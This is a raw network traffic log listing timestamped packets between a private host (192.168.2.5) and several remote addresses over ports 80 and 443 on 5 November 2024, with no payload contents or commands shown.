Nov 5, 2024 10:13:51.937268972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.937313080 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.938602924 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.938646078 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.938740969 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.938757896 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.938777924 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.938790083 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.938810110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.938824892 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.938853979 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.938981056 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.939009905 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.939023018 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.939052105 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.939069986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.939129114 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.939141035 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.939166069 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.939177990 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.943820953 CET	443	49979	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.944114923 CET	443	49979	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.944166899 CET	49979	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.944215059 CET	49979	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.944232941 CET	443	49979	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.944245100 CET	49979	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.944248915 CET	443	49979	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.946628094 CET	49996	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.946660995 CET	443	49996	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.946724892 CET	49996	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.946856022 CET	49996	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.946867943 CET	443	49996	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.967979908 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.968194962 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.968235016 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.968239069 CET	49981	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.968283892 CET	49981	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.968324900 CET	49981	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.968334913 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.968344927 CET	49981	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.968350887 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.971853018 CET	49997	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.971887112 CET	443	49997	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.971987963 CET	49997	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.972126007 CET	49997	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.972142935 CET	443	49997	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.979667902 CET	443	49980	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.979788065 CET	443	49980	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.979835987 CET	49980	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.979887009 CET	49980	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.979896069 CET	443	49980	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.979904890 CET	49980	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.979909897 CET	443	49980	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.981055021 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.981055975 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.981642008 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.981697083 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.981705904 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.981718063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.981764078 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.981816053 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.981826067 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.981837034 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.981864929 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.981888056 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.982136965 CET	49998	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.982147932 CET	443	49998	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.982270956 CET	49998	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.982323885 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.982448101 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.982458115 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.982631922 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.982640982 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.983479977 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.983481884 CET	49998	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.983490944 CET	443	49998	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.983536959 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.983666897 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.983692884 CET	49983	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.983700037 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.983724117 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.984020948 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.984088898 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.984162092 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.984425068 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.984488964 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.984822035 CET	49983	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.984877110 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.985279083 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.985285997 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.985994101 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.986423016 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.986429930 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.986470938 CET	49983	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.986676931 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.986685038 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.987616062 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.987692118 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.988955975 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.989031076 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.989367008 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.989373922 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.989924908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.989960909 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.989970922 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.989981890 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.990015030 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.000390053 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.000598907 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.000607967 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.001580000 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.001633883 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.002723932 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.002783060 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.003148079 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.003154993 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.026449919 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.026501894 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.026577950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.026591063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.026628017 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.026665926 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.026678085 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.026722908 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.031338930 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.034149885 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.034315109 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.049451113 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.049505949 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.053827047 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.053839922 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.053848982 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.053909063 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.053941965 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.053992033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.054039955 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.054047108 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.054131031 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.055713892 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.055737972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.055757046 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.055768013 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.055795908 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.055818081 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.055917025 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.055964947 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.055973053 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.056063890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.056075096 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.056106091 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.056149960 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.056160927 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.056173086 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.056204081 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.056221008 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.098779917 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.098792076 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.098803043 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.098840952 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.098862886 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.098921061 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.098932981 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.098942995 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.098959923 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.098973989 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.099212885 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.099253893 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.099287033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.099389076 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.099400043 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.099435091 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.099843025 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.099904060 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.107136965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.107184887 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.107196093 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.107203960 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.107243061 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.113158941 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.113184929 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.113228083 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.113264084 CET	49983	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.113296986 CET	49983	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.114706039 CET	49983	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.114722967 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.115083933 CET	49999	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.115108967 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.115173101 CET	49999	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.118350029 CET	49999	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.118360043 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.143661976 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.143717051 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.143718958 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.143748999 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.143764019 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.143774033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.143800020 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.143820047 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.159574986 CET	443	49992	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.159697056 CET	443	49990	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.159831047 CET	49992	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.159841061 CET	443	49992	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.159975052 CET	49990	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.159986973 CET	443	49990	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.160301924 CET	443	49990	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.160831928 CET	443	49992	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.160890102 CET	49992	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.161977053 CET	49990	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.162041903 CET	443	49990	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.162283897 CET	49992	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.162345886 CET	443	49992	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.170917034 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.170943975 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.170953989 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.170991898 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.171022892 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.172975063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173017979 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.173034906 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173055887 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173077106 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.173089981 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.173094988 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173105955 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173116922 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173132896 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.173161030 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.173377991 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173425913 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.173456907 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173468113 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173477888 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173502922 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.173527002 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.173672915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.173707962 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.175348997 CET	443	49991	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.175693035 CET	49991	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.175704002 CET	443	49991	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.176017046 CET	443	49991	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.176409960 CET	49991	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.176471949 CET	443	49991	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.203934908 CET	49992	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.203936100 CET	49990	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.203944921 CET	443	49992	23.221.22.215	192.168.2.5
Nov 5, 2024 10:13:52.216084003 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216094017 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216103077 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216140985 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.216166019 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216166973 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.216176987 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216187954 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216202021 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216211081 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.216238022 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.216240883 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216259956 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.216270924 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.216702938 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216730118 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216738939 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.216757059 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.216773033 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.221143007 CET	49991	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.224303007 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.224338055 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.224351883 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.224359035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.224378109 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.224394083 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.252298117 CET	49992	443	192.168.2.5	23.221.22.215
Nov 5, 2024 10:13:52.262895107 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.262938976 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.262952089 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.262952089 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.262972116 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.263001919 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.263009071 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.263020039 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.263044119 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.263068914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.289246082 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.289335012 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.289602995 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.289647102 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.291028976 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291040897 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291052103 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291083097 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.291099072 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291111946 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291116953 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.291137934 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.291146994 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.291241884 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291254044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291265011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291289091 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.291320086 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.291497946 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291510105 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291543007 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291543961 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.291559935 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.291599035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.302486897 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.302510023 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.302581072 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.302593946 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.302650928 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.302751064 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.303721905 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.303731918 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.311600924 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.311624050 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.311677933 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.311697960 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.311963081 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.312154055 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.319556952 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.319571972 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.333102942 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333131075 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333142042 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333192110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.333375931 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333420992 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333431959 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333467960 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.333482027 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.333503962 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333515882 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333527088 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333538055 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333543062 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.333554983 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.333566904 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.333592892 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.341497898 CET	80	49934	185.215.113.206	192.168.2.5
